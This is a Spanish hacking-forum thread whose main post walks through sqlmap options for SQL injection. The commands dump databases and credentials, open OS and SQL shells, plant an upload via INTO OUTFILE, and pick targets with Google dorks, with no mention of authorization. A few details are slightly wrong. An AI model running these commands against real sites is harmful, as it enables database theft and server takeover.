(Actualizado) Múltiples comandos del SQLmap - (SQLmap a Fondo)

  • 4 Respuestas
  • 7933 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado M5f3r0

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
  • Leer la firma.
  • Skype: m5f3r0
    • Ver Perfil
Hola gente de Underc0de, en está ocasión les vengo a enseñar sobre algunos comandos que pocos deben conocer del SQLmap, tal vez algunos los hayan visto, pero por otro lado posiblemente otros no, así que vamos para ello!! ;D.

Ciertas veces, un usuario común puede usar las mismas estrategias en dicha herramienta, en el caso del SQLmap, los comandos menos útilizados también pueden llegar a ser muy útiles, aunque vienen siendo los más desconocidos, comúnmente usamos los comandos más básicos y necesarios debido a que son los más importantes en la explotación de dicha vulnerabilidad, pero ciertas veces el SQLmap puede llegar a confundirse y tal vez lleguemos a necesitar de otros comandos para específicar mejor la vulnerabilidad y/o explotación. Entonces, este tutorial entenderemos dichos fundamentos para conocer más la herramienta a FONDO.

Explotación:

1.- El comando --url o -u

Con este comando, especificamos la url o dirección de la página vulnerable, ya sea GET o POST. Podemos usarlo como --url="http://url.com/pag.php?id=10" o simplemente -u http://url.com/pag.php?id=10 , un ejemplo:

python sqlmap.py --url="http://url.com/pag.php?id=10" --dbs

2.- Comandos -p y --skip

Primero comenzemos con el comando -p, sirve para poder especificar el parámetro vulnerable, ej: -p "id" , estamos especificando que el parámetro dónde debe inyectar y el vulnerable es "id". Ejemplo:

python sqlmap.py --url="http://url.com/pag.php?id=10" -p "id" --dbs

Y con el comando --skip, simplemente le decimos al SQLmap que cuando términe de testear el primer parámetro pase al siguiente, ejemplo:

python sqlmap.py --url="http://url.com/pag.php?lol=10&lol2=11" -p "id" --skip --dbs

3.- Método POST

En el SQLmap, también podemos llegar a especificar el tipo de método, están entre GET & POST, los post's podemos llegar a visualizarlo con algún add-on o complemento de mozilla entre otros navegadores, yo les recomiendo el Hackbar o Live HTTP Headers. Bueno, para especificar el método post hacemos uso del comando --data="" y entre las comillas, colocamos los parámetros, ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --dbs

4.- Comandos --prefix and --suffix

Estos dos comandos, también pueden llegar a sernos útiles al momento de la explotación de una SQLi, el comando --suffix , significa "sufijo" con el cúal podemos añadir algo al final de la inyección, ya sea un comentario, entre otras cosas. Se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --suffix=" -- -coment" --dbs

Y el comando --prefix="" que viene significando "prefijo" , con el que podemos especificar algo al inicio de la inyección, se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

Por ejemplo hacemos uso de una comilla simple '

5.- El comando --time-sec

Con este comando, ajustamos los segundos para retrasar alguna respuesta cuando hacemos Blind SQL Injection Time Based, colocamos el comando seguidamente un número (segundos), comúnmente es el 5. Un ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --time-sec="5" --dbs

6.- El comando --dbms

Con este comando, podemos especificar el tipo de gestor de la base de datos, entre estos se encuentran los siguientes:

- MySQL [default]
- Oracle
- PostgreSQL
- Sybase
- Microsoft SQL Server


Entre otros, pero estos son los más comúnes. Tomemos como ejemplo lo siguiente:

python sqlmap.py --url="http://site.com/page.php?id=10" --dbms=mysql --dbs

7.- El comando --union-cols

Este comando tiene como útilidad, especificar un número de columnas a análizar, por ejemplo, le podemos especificar al SQLmap que analize las columnas entre la 15 y la 18 , de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --dbs

8.- El comando --technique

--technique="" , este comando se encarga de específicar la técnica que va a utilizar el SQLmap para explotar la vulnerabilidad, entonces:

- Si la SQLi es Union Based , se especifica con una "U"
- Si la SQLi es Time Based , se especifica con una "T"
- Si la SQLi es Error Based/Double Query , se especifica con una "E"
- Si la SQLi es Blind Boolean Based , se especifica con una "B"

Como un ejemplo, podemos tomar lo siguiente:

python sqlmap.py --url="" --technique="U"

Extrayendo los datos:

Para empezar está fase, podemos usar VARIOS comandos que trae incorporado el SQLmap, los cúales como su nombre lo indica, son para dumpear o extraer datos.

1.- El comando --dbs

El comando --dbs es para decirle al SQLmap, que analize todos los nombres de las bases de datos que se encuentran alojadas en el servidor. Se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

2.- El comando --current-db

Con este comando, podemos extraer la currente DB, es decir, la base de datos actual del servidor y se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-db

3.- Comandos --current-user y --users

Ambos comandos, tienen la misma funcionalidad, la diferencia es que uno verifica el currente usuario que usa el actúal servidor y el otro muestra todos los nombres de los que se encuentran. un ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-user

4.- El comando -D

Con este comando, especificamos el nombre de la base de datos a análizar, un ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname

5.- El comando -T y --tables

Con el comando --tables, extraemos todos los nombres de las tablas de una base de datos especifica, por ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname --tables

Y el comando -T , especifica algún nombre de una tabla:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename

6.- El comando -C y --columns

Con el comando -C , especificamos el nombre de alguna columna especifica , y el comando --columns, se usa para análizar todos los nombres de las columnas de una currente tabla.

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna

7.- El comando --dump

Con este comando, podemos llegar a dumpear todos los registros de X tabla o columna o inclusive base de datos, según como lo hayamos específicado, por ejemplo, si yo quiero extraer todos los datos que están en la columna columna de la tabla tablename de la db dbname, hago lo siguiente:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump

8.- El comando --dump-format=

Con este comando, especificamos el formato de archivo en el que el SQLmap dumpeara la base de datos, trae soportado HTML, CSV y SQLITE, un ejemplo de su uso:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-format=CSV

9.- El comando --dump-all

Con este comando, dumpeamos TODAS las tablas de todas las bases de datos, un ejemplo de su uso:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-all

Brute Force Mode:

1.- Comando --common-tables

Con este comando, podemos búscar los nombres de las tablas de una currente base de datos haciendo uso del modo fuerza brute, un ejemplo de su uso:

sqlmap.py -u http://dsadas.com/page.php?id=10 -p "id" -D dbname --common-tables

2.- Comando --common-columns

A diferencia del otro comando, este solo se encarga de buscar el nombre de todas las columnas de alguna tabla especifica, igualmente haciendo uso del modo fuerza bruta, un ejemplo:

sqlmap.py -u http://dsadas.com/page.php?id=10 -p "id" -D dbname -T tbname --common-columns

Otros:

1.- El comando --os-shell

Con este comando, podemos llegar a génerar un upload en un servidor web, pero son requeridas 2 cosas:

1- La folder tenga permisos de escritura.
2- Tener ciertos privilegios requeridos.
3- Tener un FPD (Full path disclosure).

Si se ha ejecutado con éxito el comando y se ha génerado el upload, se nos queda una sesión abierta con la cúal podemos hacer uso de otros comandos ya sean como los de la CMD de windows o la términal de linux.

2.- El comando --sql-shell y --sql-query

Con ambos comandos, podemos llegar a realizar sentencias SQL arbitrarias (si no me equivoco) haciendo uso de los privilegios del usuario MySQL. Por ejemplo, si yo quiero génerar un Upload con el comando --sql-shell, puedo basarme en la siguiente fórmula.

SELECT + 0xcodeuploadhex + INTO OUTFILE + FPD

Y ejecuto el comando --sql-shell en el sqlmap, y inserto los datos de arriba :).

O con el otro comando --sql-query , puedo llegar a realizar sentencias SQL arbitrarias, al igual que el anterior, ej de una consulta:

"SELECT ’foo’"

3.- El comando --random-agent

Con este comando, le especificamos al SQLmap que puede usar algún tipo de navegador aleatorio para explotar la vulnerabilidad, ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --random-agent --dbs

4.- El comando --cookie

Con este comando, como su nombre lo indica, especificamos la cookie que estamos usando, ya sea nuestra sesión entre otras cosas. Se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --cookie PHPSESSID=tusesion --dbs

5.- El comando --threads

Con este comando, especificamos el número de peticiones a realizar, podemos ir más rápido según él número que hayamos colocado, se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion --dbs

6.- El comando --privileges

Con este comando, podemos llegar a revisar TODOS los privilegios que se encuentran en el servidor MySQL, un ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --privileges

7.- El comando -b

Este es uno de los comandos muy simples, con él solo extraemos la versión actúal del servidor MySQL, comúnmente es la 5. un ej:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -b

8.- El comando -v

Con este comando, podemos añadir un nivel de verbosidad en la línea de comandos, entre los números del 1 (default) al 6, un ejemplo:

python sqlmap.py -u http://sadasdds.com/page.php?id=10 -p "id" -v 3

9.- El comando -g

Este es otro de los comandos más sencillos del SQLmap, se usa para especificar un Google Dork, es decir, colocar algún dork de google y luego este procesara los resultados, como un target/objetivo. Ej:

python sqlmap.py -g "inurl:index.php?id="

10.- Los comandos --level and --risk

Primero iniciemos con el comando --level, con este especificamos el nivel de testeo en el SQLmap, del 1 al 5. Y se usa de la siguiente manera:

python sqlmap.py -u http://lololol.es/page.php?id=5  --dbms=mysql --level=5

Y con el comando --risk, especificamos un nivel de peligrosidad/riesgo del 1 al 3, un ejemplo de su uso:

python sqlmap.py -u http://lololol.es/page.php?id=5  --dbms=mysql --level=5 --risk=3

11.- El comando --ignore-proxy

Con este comando, podemos decirle al SQLmap que ignore el proxy de un sistema HTTP, un ejemplo de su uso:

python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --ignore-proxy

12.- El comando --keep-alive

Con este comando le especificamos al SQLmap que haga uso de conexiones HTTP Persistentes, un ejemplo de su uso sería el siguiente:

python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --keep-alive

Este no es compatible con el comando --proxy

13.- El comando --null-connection

Con este comando, podemos especificarle al SQLmap de una conexión HTTP nula, ejemplo:

python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --null-connection

Este comando no es compatible con --text-only

Y bueno, eso ha sido todo, espero les haya gustado el post y lo hayan entendido bien.

PD: A médida pase el tiempo, iré actualizando el post y añadiendo más comandos.

Saludos, M5f3r0 ;).
« Última modificación: Agosto 02, 2013, 04:11:38 pm por M5f3r0 »
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Desconectado NyxKazuya

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
Realmente un MegaPost :D, se agradece infinitamente

Desconectado blackdrake

  • *
  • Co Admin
  • Mensajes: 1968
  • Actividad:
    3.33%
  • Country: es
  • Reputación 16
    • Ver Perfil
Como dice Nyx, es un aportazo y muy útil para todos los que se dedican a esto.

Gracias por el post.

Enviado desde BlackMovil5



Desconectado th3b4d_ch007s3

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
buen aporte, tantos comandos que contiene sqlmap, que uno luego no se acuerda de todos o simplemente algunos ni los conocia, gracias.

Desconectado aiorios18

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
Excelente Post gracias.

 

Exploit para Apache Struts (ejecución remota de comandos) [Tomcat]|CVE2017-5638

Iniciado por Eschiclers

Respuestas: 9
Vistas: 8395
Último mensaje Marzo 23, 2017, 03:57:38 pm
por zoro248
Sqlifuzzer - Línea de comandos SQL Injection

Iniciado por ZanGetsu

Respuestas: 2
Vistas: 7570
Último mensaje Octubre 01, 2018, 03:16:29 pm
por redondo
XSS A Fondo

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2780
Último mensaje Mayo 28, 2012, 08:00:44 am
por ANTRAX
[w-CMS 2.0.1] Multiples Vulnerabilidades PHP

Iniciado por Kodeinfect

Respuestas: 0
Vistas: 3022
Último mensaje Abril 06, 2012, 12:55:35 pm
por Kodeinfect
Un pequeño aporte con sqlmap para sacar e-mail con el usser etc..

Iniciado por panik0

Respuestas: 4
Vistas: 3858
Último mensaje Septiembre 18, 2012, 08:12:01 am
por baron.power